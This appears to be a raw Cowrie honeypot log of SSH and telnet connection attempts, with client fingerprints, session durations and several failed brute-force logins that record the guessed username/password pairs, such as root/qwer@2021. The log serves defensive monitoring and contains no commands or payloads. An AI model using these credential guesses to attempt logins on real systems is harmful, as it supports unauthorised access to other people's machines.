{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32956,"dst_ip":"10.17.0.5","dst_port":23,"session":"b65d2de4c3d5","protocol":"telnet","message":"New connection: 152.42.224.71:32956 (10.17.0.5:23) [session: b65d2de4c3d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:30.902591Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.16.212.232","src_port":52584,"dst_ip":"159.203.135.109","dst_port":22,"session":"abaea345ce8b","protocol":"ssh","message":"New connection: 59.16.212.232:52584 (159.203.135.109:22) [session: abaea345ce8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:32.682222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:32.686704Z","src_ip":"59.16.212.232","session":"abaea345ce8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:32.884880Z","src_ip":"59.16.212.232","session":"abaea345ce8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.117.179.232","src_port":50964,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e2d95f713ad","protocol":"ssh","message":"New connection: 45.117.179.232:50964 (10.17.0.5:22) [session: 5e2d95f713ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:33.557540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:33.562427Z","src_ip":"45.117.179.232","session":"5e2d95f713ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dan","password":"dan","message":"login attempt [dan/dan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:33.709146Z","src_ip":"59.16.212.232","session":"abaea345ce8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:33.813972Z","src_ip":"45.117.179.232","session":"5e2d95f713ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer@2021","message":"login attempt [root/qwer@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:34.852206Z","src_ip":"45.117.179.232","session":"5e2d95f713ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:34.913038Z","src_ip":"59.16.212.232","session":"abaea345ce8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:36.111148Z","src_ip":"45.117.179.232","session":"5e2d95f713ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.234.173","src_port":43530,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2205e134612","protocol":"ssh","message":"New connection: 185.242.234.173:43530 (10.17.0.5:22) [session: f2205e134612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:36.696802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:36.701574Z","src_ip":"185.242.234.173","session":"f2205e134612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:36.922003Z","src_ip":"185.242.234.173","session":"f2205e134612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50524,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae56fa723bd6","protocol":"telnet","message":"New connection: 152.42.224.71:50524 (10.17.0.5:23) [session: ae56fa723bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:37.199935Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"testtest","message":"login attempt [ubuntu/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:37.839064Z","src_ip":"185.242.234.173","session":"f2205e134612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:39.046744Z","src_ip":"185.242.234.173","session":"f2205e134612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44114,"dst_ip":"10.17.0.5","dst_port":23,"session":"00b8e3a7165f","protocol":"telnet","message":"New connection: 152.42.224.71:44114 (10.17.0.5:23) [session: 00b8e3a7165f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:51.536791Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44124,"dst_ip":"10.17.0.5","dst_port":23,"session":"df49b3cfcb12","protocol":"telnet","message":"New connection: 152.42.224.71:44124 (10.17.0.5:23) [session: df49b3cfcb12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:54.872604Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.200.156","src_port":48620,"dst_ip":"10.17.0.5","dst_port":22,"session":"912823fad786","protocol":"ssh","message":"New connection: 49.51.200.156:48620 (10.17.0.5:22) [session: 912823fad786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:55.500946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:55.505724Z","src_ip":"49.51.200.156","session":"912823fad786","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:55.679973Z","src_ip":"49.51.200.156","session":"912823fad786","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.68986892700195,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:56.332542Z","src_ip":"152.42.224.71","session":"07f6478df283","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":33762,"dst_ip":"10.17.0.5","dst_port":22,"session":"15acd338a4a1","protocol":"ssh","message":"New connection: 89.223.69.22:33762 (10.17.0.5:22) [session: 15acd338a4a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:56.698188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:56.703042Z","src_ip":"89.223.69.22","session":"15acd338a4a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:56.823390Z","src_ip":"89.223.69.22","session":"15acd338a4a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789qwe","message":"login attempt [root/123456789qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:57.179510Z","src_ip":"89.223.69.22","session":"15acd338a4a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:58.299424Z","src_ip":"89.223.69.22","session":"15acd338a4a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer@2021","message":"login attempt [root/qwer@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:58.629049Z","src_ip":"49.51.200.156","session":"912823fad786","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:43:59.808300Z","src_ip":"49.51.200.156","session":"912823fad786","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00142455101013,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:00.237626Z","src_ip":"152.42.224.71","session":"db6bc9f675ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59672,"dst_ip":"159.203.135.109","dst_port":22,"session":"db43ec4eb462","protocol":"ssh","message":"New connection: 103.176.20.57:59672 (159.203.135.109:22) [session: db43ec4eb462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:00.710528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:00.715567Z","src_ip":"103.176.20.57","session":"db43ec4eb462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:00.970513Z","src_ip":"103.176.20.57","session":"db43ec4eb462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blabla","message":"login attempt [root/blabla] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:01.742841Z","src_ip":"103.176.20.57","session":"db43ec4eb462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:03.007081Z","src_ip":"103.176.20.57","session":"db43ec4eb462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.899277687072754,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:06.572240Z","src_ip":"152.42.224.71","session":"0fbe5565233f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34174,"dst_ip":"10.17.0.5","dst_port":23,"session":"487e6797b08a","protocol":"telnet","message":"New connection: 152.42.224.71:34174 (10.17.0.5:23) [session: 487e6797b08a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:07.915339Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.66.186","src_port":36210,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ed7a50c0cad","protocol":"ssh","message":"New connection: 104.236.66.186:36210 (10.17.0.5:22) [session: 9ed7a50c0cad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:14.582031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:14.587103Z","src_ip":"104.236.66.186","session":"9ed7a50c0cad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:14.594500Z","src_ip":"104.236.66.186","session":"9ed7a50c0cad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:45:9d:77:ff:7e:40:e3:15:a6:cf:14:1b:6a:c4:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcbv90YF1UfEsnxodAaMOoNEvWUVQvq43IQ+WO/YvuVEWlAyWR0Xj/zzhqYKlVWS3kqxSUnzp1HGA7vOIHHi/RxJB8NsSxf+Jwx/KWIBZmNd87eg9W5hISmF49CBuGeH7OeAKQK8XmVrfH84mkpUYDC7O5lQtujm2L1zEh066OJSaF3Hse9HJrJ4ThiKMukS/K1YLn3i3CjJln0hypKDWnn2UoV79LEitOD95dVOXYoDfHwf4NBTtYvmICH9FVjF7pyu0tKe+0SuiSBy0SK41QSjTZLdeehYCZ7EOfeodZm3hXpq/btrXWEc8b1oBG4HZKDW/hCf333Lr289CUZ3p7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:45:9d:77:ff:7e:40:e3:15:a6:cf:14:1b:6a:c4:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:14.609796Z","src_ip":"104.236.66.186","session":"9ed7a50c0cad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:45:9d:77:ff:7e:40:e3:15:a6:cf:14:1b:6a:c4:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcbv90YF1UfEsnxodAaMOoNEvWUVQvq43IQ+WO/YvuVEWlAyWR0Xj/zzhqYKlVWS3kqxSUnzp1HGA7vOIHHi/RxJB8NsSxf+Jwx/KWIBZmNd87eg9W5hISmF49CBuGeH7OeAKQK8XmVrfH84mkpUYDC7O5lQtujm2L1zEh066OJSaF3Hse9HJrJ4ThiKMukS/K1YLn3i3CjJln0hypKDWnn2UoV79LEitOD95dVOXYoDfHwf4NBTtYvmICH9FVjF7pyu0tKe+0SuiSBy0SK41QSjTZLdeehYCZ7EOfeodZm3hXpq/btrXWEc8b1oBG4HZKDW/hCf333Lr289CUZ3p7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:44:14.614032Z","src_ip":"104.236.66.186","session":"9ed7a50c0cad","protocol":"ssh"}
